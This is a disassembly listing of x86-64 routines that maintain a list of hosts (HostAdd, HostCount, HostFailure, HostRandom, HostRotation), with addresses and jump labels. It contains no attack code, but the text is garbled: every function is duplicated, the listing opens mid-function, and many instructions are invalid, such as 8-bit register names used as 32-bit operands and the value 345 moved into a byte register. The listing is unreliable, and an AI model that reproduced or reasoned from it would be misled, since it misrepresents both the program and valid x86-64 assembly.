140014c6emov rsi, rcx
140014c71lea rcx, [rip+0x151f8]
140014c78push rbx
140014c79sub rsp, 48
140014c7dmov [rsp+40], r8l
140014c82mov r8l, 345
140014c88mov [rsp+32], rdx
140014c8dlea rdx, [rip+0x183ac]
140014c94call printf
140014c99mov r8l, 32
140014c9fmov edx, 8
140014ca4mov r12, [rip+0x176c5]
140014cabmov rax, [r12+2230]
140014cb3mov rax, [rax+96]
140014cb7mov rcx, [rax+48]
140014cbbcall [r12+316]
140014cc3lea r8, [rbp+2]
140014cc7mov edx, 8
140014cccmov rbx, rax
140014ccfmov rax, [r12+2230]
140014cd7mov rax, [rax+96]
140014cdbmov rcx, [rax+48]
140014cdfcall [r12+316]
140014ce7xor edx, edx
140014ce9mov [rbx+8], edi
140014cecmov rcx, rbp
140014cefmov [rbx+16], edx
140014cf2mov rdx, [r12+112]
140014cf7mov rdi, rax
140014cfamov [rbx], rax
140014cfdmov rax, rbx
140014d00mov [rbx+24], rdx
140014d04rep movsb [rdi], [rsi]
140014d06mov [r12+112], rbx
140014d0badd rsp, 48
140014d0fpop rbx
140014d10pop rsi
140014d11pop rdi
140014d12pop rbp
140014d13pop r12
140014d15ret
140014c60
140014c60HostAdd:
140014c60push r12
140014c62mov r9, rcx
140014c65push rbp
140014c66mov rbp, rdx
140014c69push rdi
140014c6amov edi, r8l
140014c6dpush rsi
140014c6emov rsi, rcx
140014c71lea rcx, [rip+0x151f8]
140014c78push rbx
140014c79sub rsp, 48
140014c7dmov [rsp+40], r8l
140014c82mov r8l, 345
140014c88mov [rsp+32], rdx
140014c8dlea rdx, [rip+0x183ac]
140014c94call printf
140014c99mov r8l, 32
140014c9fmov edx, 8
140014ca4mov r12, [rip+0x176c5]
140014cabmov rax, [r12+2230]
140014cb3mov rax, [rax+96]
140014cb7mov rcx, [rax+48]
140014cbbcall [r12+316]
140014cc3lea r8, [rbp+2]
140014cc7mov edx, 8
140014cccmov rbx, rax
140014ccfmov rax, [r12+2230]
140014cd7mov rax, [rax+96]
140014cdbmov rcx, [rax+48]
140014cdfcall [r12+316]
140014ce7xor edx, edx
140014ce9mov [rbx+8], edi
140014cecmov rcx, rbp
140014cefmov [rbx+16], edx
140014cf2mov rdx, [r12+112]
140014cf7mov rdi, rax
140014cfamov [rbx], rax
140014cfdmov rax, rbx
140014d00mov [rbx+24], rdx
140014d04rep movsb [rdi], [rsi]
140014d06mov [r12+112], rbx
140014d0badd rsp, 48
140014d0fpop rbx
140014d10pop rsi
140014d11pop rdi
140014d12pop rbp
140014d13pop r12
140014d15ret
140014c60
140014d16
140014d16 // align 0x10
140014d16 // align 0x10
140014d20
140014d20HostCheckup:
140014d20sub rsp, 40
140014d24mov rax, [rip+0x17645]
140014d2bxor r8l, r8l
140014d2emov rdx, [rax+112]
140014d32mov rax, rdx
140014d35
140014d35loc_140014d35:
140014d35test rax, rax
140014d38je 0x140014d4c
140014d3acmp [rax+16], 0
140014d3eje 0x140014d43
140014d40inc r8l
140014d43
140014d43loc_140014d43:
140014d43mov rax, [rax+24]
140014d47cmp rdx, rax
140014d4ajne 0x140014d35
140014d4c
140014d4cloc_140014d4c:
140014d4ccall HostCount
140014d51cmp eax, r8l
140014d54setne al
140014d57add rsp, 40
140014d5bmovzx eax, al
140014d5eret
140014d20
140014d20HostCheckup:
140014d20sub rsp, 40
140014d24mov rax, [rip+0x17645]
140014d2bxor r8l, r8l
140014d2emov rdx, [rax+112]
140014d32mov rax, rdx
140014d35
140014d35loc_140014d35:
140014d35test rax, rax
140014d38je 0x140014d4c
140014d3acmp [rax+16], 0
140014d3eje 0x140014d43
140014d40inc r8l
140014d43
140014d43loc_140014d43:
140014d43mov rax, [rax+24]
140014d47cmp rdx, rax
140014d4ajne 0x140014d35
140014d4c
140014d4cloc_140014d4c:
140014d4ccall HostCount
140014d51cmp eax, r8l
140014d54setne al
140014d57add rsp, 40
140014d5bmovzx eax, al
140014d5eret
140014d20
140014d5f
140014d5f // align 0x10
140014d5f // align 0x10
140014d60
140014d60HostCount:
140014d60mov rax, [rip+0x17609]
140014d67xor edx, edx
140014d69mov rcx, [rax+112]
140014d6dmov rax, rcx
140014d70
140014d70loc_140014d70:
140014d70test rax, rax
140014d73je 0x140014d80
140014d75mov rax, [rax+24]
140014d79inc edx
140014d7bcmp rcx, rax
140014d7ejne 0x140014d70
140014d80
140014d80loc_140014d80:
140014d80mov eax, edx
140014d82ret
140014d60
140014d60HostCount:
140014d60mov rax, [rip+0x17609]
140014d67xor edx, edx
140014d69mov rcx, [rax+112]
140014d6dmov rax, rcx
140014d70
140014d70loc_140014d70:
140014d70test rax, rax
140014d73je 0x140014d80
140014d75mov rax, [rax+24]
140014d79inc edx
140014d7bcmp rcx, rax
140014d7ejne 0x140014d70
140014d80
140014d80loc_140014d80:
140014d80mov eax, edx
140014d82ret
140014d60
140014d83
140014d83 // align 0x10
140014d83 // align 0x10
140014d90
140014d90HostFailure:
140014d90push rbx
140014d91mov rbx, rcx
140014d94sub rsp, 48
140014d98test rcx, rcx
140014d9bje 0x140014df3
140014d9dmov rdx, [rip+0x175cc]
140014da4mov eax, [rcx+12]
140014da7cmp eax, [rdx+150]
140014dadjne 0x140014dc7
140014dafmov [rcx+16], 1
140014db6movsx ecx, [rdx+144]
140014dbdadd rsp, 48
140014dc1pop rbx
140014dc2jmp 0x140014ee0
140014dc7
140014dc7loc_140014dc7:
140014dc7inc eax
140014dc9mov r8l, 382
140014dcflea rdx, [rip+0x17f8a]
140014dd6mov [rcx+12], eax
140014dd9mov [rsp+40], eax
140014dddmov eax, [rcx+8]
140014de0mov [rsp+32], eax
140014de4mov r9, [rcx]
140014de7lea rcx, [rip+0x1516a]
140014deecall printf
140014df3
140014df3loc_140014df3:
140014df3add rsp, 48
140014df7mov rax, rbx
140014dfapop rbx
140014dfbret
140014d90
140014d90HostFailure:
140014d90push rbx
140014d91mov rbx, rcx
140014d94sub rsp, 48
140014d98test rcx, rcx
140014d9bje 0x140014df3
140014d9dmov rdx, [rip+0x175cc]
140014da4mov eax, [rcx+12]
140014da7cmp eax, [rdx+150]
140014dadjne 0x140014dc7
140014dafmov [rcx+16], 1
140014db6movsx ecx, [rdx+144]
140014dbdadd rsp, 48
140014dc1pop rbx
140014dc2jmp 0x140014ee0
140014dc7
140014dc7loc_140014dc7:
140014dc7inc eax
140014dc9mov r8l, 382
140014dcflea rdx, [rip+0x17f8a]
140014dd6mov [rcx+12], eax
140014dd9mov [rsp+40], eax
140014dddmov eax, [rcx+8]
140014de0mov [rsp+32], eax
140014de4mov r9, [rcx]
140014de7lea rcx, [rip+0x1516a]
140014deecall printf
140014df3
140014df3loc_140014df3:
140014df3add rsp, 48
140014df7mov rax, rbx
140014dfapop rbx
140014dfbret
140014d90
140014dfc
140014dfc // align 0x10
140014dfc // align 0x10
140014e00
140014e00HostRandom:
140014e00push rsi
140014e01push rbx
140014e02sub rsp, 72
140014e06call RandomNumber32
140014e0bmov r8l, eax
140014e0ecall HostCount
140014e13xor edx, edx
140014e15mov esi, eax
140014e17mov eax, r8l
140014e1adiv esi
140014e1cmov rax, [rip+0x1754d]
140014e23mov rbx, [rax+112]
140014e27mov r9l, edx
140014e2atest edx, edx
140014e2cje 0x140014e69
140014e2etest rbx, rbx
140014e31je 0x140014e47
140014e33xor eax, eax
140014e35
140014e35loc_140014e35:
140014e35mov rbx, [rbx+24]
140014e39test rbx, rbx
140014e3cje 0x140014e47
140014e3einc eax
140014e40cmp r9l, eax
140014e43jne 0x140014e35
140014e45jmp 0x140014e69
140014e47
140014e47loc_140014e47:
140014e47mov r8l, 417
140014e4dlea rdx, [rip+0x17abc]
140014e54lea rcx, [rip+0x1505a]
140014e5bcall printf
140014e60mov eax, [0xc]
140014e67ud2
140014e69
140014e69loc_140014e69:
140014e69lea rsi, [rip+0x17aa0]
140014e70mov r8l, 417
140014e76lea rcx, [rip+0x15038]
140014e7dmov rdx, rsi
140014e80call printf
140014e85cmp [rbx+16], 0
140014e89mov edx, [rbx+12]
140014e8cmov r9, rbx
140014e8flea rcx, [rip+0x15014]
140014e96lea rax, [rip+0x15012]
140014e9dmov r8l, 418
140014ea3cmovne rax, rcx
140014ea7mov [rsp+56], edx
140014eablea rcx, [rip+0x1501e]
140014eb2mov rdx, rsi
140014eb5mov [rsp+48], rax
140014ebamov eax, [rbx+8]
140014ebdmov [rsp+40], eax
140014ec1mov rax, [rbx]
140014ec4mov [rsp+32], rax
140014ec9call printf
140014eceadd rsp, 72
140014ed2mov rax, rbx
140014ed5pop rbx
140014ed6pop rsi
140014ed7ret
140014e00
140014e00HostRandom:
140014e00push rsi
140014e01push rbx
140014e02sub rsp, 72
140014e06call RandomNumber32
140014e0bmov r8l, eax
140014e0ecall HostCount
140014e13xor edx, edx
140014e15mov esi, eax
140014e17mov eax, r8l
140014e1adiv esi
140014e1cmov rax, [rip+0x1754d]
140014e23mov rbx, [rax+112]
140014e27mov r9l, edx
140014e2atest edx, edx
140014e2cje 0x140014e69
140014e2etest rbx, rbx
140014e31je 0x140014e47
140014e33xor eax, eax
140014e35
140014e35loc_140014e35:
140014e35mov rbx, [rbx+24]
140014e39test rbx, rbx
140014e3cje 0x140014e47
140014e3einc eax
140014e40cmp r9l, eax
140014e43jne 0x140014e35
140014e45jmp 0x140014e69
140014e47
140014e47loc_140014e47:
140014e47mov r8l, 417
140014e4dlea rdx, [rip+0x17abc]
140014e54lea rcx, [rip+0x1505a]
140014e5bcall printf
140014e60mov eax, [0xc]
140014e67ud2
140014e69
140014e69loc_140014e69:
140014e69lea rsi, [rip+0x17aa0]
140014e70mov r8l, 417
140014e76lea rcx, [rip+0x15038]
140014e7dmov rdx, rsi
140014e80call printf
140014e85cmp [rbx+16], 0
140014e89mov edx, [rbx+12]
140014e8cmov r9, rbx
140014e8flea rcx, [rip+0x15014]
140014e96lea rax, [rip+0x15012]
140014e9dmov r8l, 418
140014ea3cmovne rax, rcx
140014ea7mov [rsp+56], edx
140014eablea rcx, [rip+0x1501e]
140014eb2mov rdx, rsi
140014eb5mov [rsp+48], rax
140014ebamov eax, [rbx+8]
140014ebdmov [rsp+40], eax
140014ec1mov rax, [rbx]
140014ec4mov [rsp+32], rax
140014ec9call printf
140014eceadd rsp, 72
140014ed2mov rax, rbx
140014ed5pop rbx
140014ed6pop rsi
140014ed7ret
140014e00
140014ed8
140014ed8 // align 0x10
140014ed8 // align 0x10
140014ee0
140014ee0HostRotation:
140014ee0push rbx
140014ee1sub rsp, 32
140014ee5mov rbx, [rip+0x17484]
140014eeccmp [rbx+120], 1
140014ef0jbe 0x140014ef9
140014ef2xor r8l, r8l
140014ef5mov [rbx+24], r8l
140014ef9
140014ef9loc_140014ef9:
140014ef9test cx, cx
140014efcjne 0x140014f28
140014efecmp [rbx+104], 0
140014f03mov r8, [rbx+112]
140014f07je 0x140014f99
140014f0d
140014f0dloc_140014f0d:
140014f0dcall HostCount
140014f12test eax, eax
140014f14je 0x140014f7a
140014f16test r8, r8
140014f19je 0x140014f7a
140014f1bcmp [r8+16], 0
140014f20je 0x140014f7a
140014f22mov r8, [r8+24]
140014f26jmp 0x140014f0d
140014f28
140014f28loc_140014f28:
140014f28dec cx
140014f2bje 0x140014f62
140014f2dxor r8l, r8l
140014f30cmp [rbx+150], 0
140014f37
140014f37loc_140014f37:
140014f37jne 0x140014f99
140014f39mov r8l, 475
140014f3flea r9, [rip+0x14fcb]
140014f46lea rdx, [rip+0x177c3]
140014f4dlea rcx, [rip+0x14ff0]
140014f54call printf
140014f59mov r8, [rbx+112]
140014f5dmov rax, r8
140014f60jmp 0x140014f88
140014f62
140014f62loc_140014f62:
140014f62call HostRandom
140014f67cmp [rax+16], 0
140014f6bmov r8, rax
140014f6eje 0x140014f99
140014f70xor ecx, ecx
140014f72call HostRotation
140014f77mov r8, rax
140014f7a
140014f7aloc_140014f7a:
140014f7acmp [rbx+150], 0
140014f81jne 0x140014f99
140014f83test r8, r8
140014f86jmp 0x140014f37
140014f88
140014f88loc_140014f88:
140014f88test rax, rax
140014f8bje 0x140014f99
140014f8dxor edx, edx
140014f8fmov [rax+12], rdx
140014f93mov rax, [rax+24]
140014f97jmp 0x140014f88
140014f99
140014f99loc_140014f99:
140014f99add rsp, 32
140014f9dmov rax, r8
140014fa0pop rbx
140014fa1ret
140014ee0
140014ee0HostRotation:
140014ee0push rbx
140014ee1sub rsp, 32
140014ee5mov rbx, [rip+0x17484]
140014eeccmp [rbx+120], 1
140014ef0jbe 0x140014ef9
140014ef2xor r8l, r8l
140014ef5mov [rbx+24], r8l
140014ef9
140014ef9loc_140014ef9:
140014ef9test cx, cx
140014efcjne 0x140014f28
140014efecmp [rbx+104], 0
140014f03mov r8, [rbx+112]
140014f07je 0x140014f99
140014f0d
140014f0dloc_140014f0d:
140014f0dcall HostCount
140014f12test eax, eax
140014f14je 0x140014f7a
140014f16test r8, r8
140014f19je 0x140014f7a
140014f1bcmp [r8+16], 0
140014f20je 0x140014f7a
140014f22mov r8, [r8+24]
140014f26jmp 0x140014f0d
140014f28
140014f28loc_140014f28:
140014f28dec cx
140014f2bje 0x140014f62
140014f2dxor r8l, r8l
140014f30cmp [rbx+150], 0
140014f37
140014f37loc_140014f37:
140014f37jne 0x140014f99
140014f39mov r8l, 475
140014f3flea r9, [rip+0x14fcb]
140014f46lea rdx, [rip+0x177c3]
140014f4dlea rcx, [rip+0x14ff0]
140014f54call printf
140014f59mov r8, [rbx+112]
140014f5dmov rax, r8
140014f60jmp 0x140014f88
140014f62
140014f62loc_140014f62:
140014f62call HostRandom
140014f67cmp [rax+16], 0
140014f6bmov r8, rax
140014f6eje 0x140014f99
140014f70xor ecx, ecx
140014f72call HostRotation
140014f77mov r8, rax
140014f7a
140014f7aloc_140014f7a:
140014f7acmp [rbx+150], 0
140014f81jne 0x140014f99
140014f83test r8, r8
140014f86jmp 0x140014f37
140014f88
140014f88loc_140014f88:
140014f88test rax, rax
140014f8bje 0x140014f99
140014f8dxor edx, edx
140014f8fmov [rax+12], rdx
140014f93mov rax, [rax+24]
140014f97jmp 0x140014f88
140014f99
140014f99loc_140014f99:
140014f99add rsp, 32
140014f9dmov rax, r8
140014fa0pop rbx
140014fa1ret
140014ee0
Loading..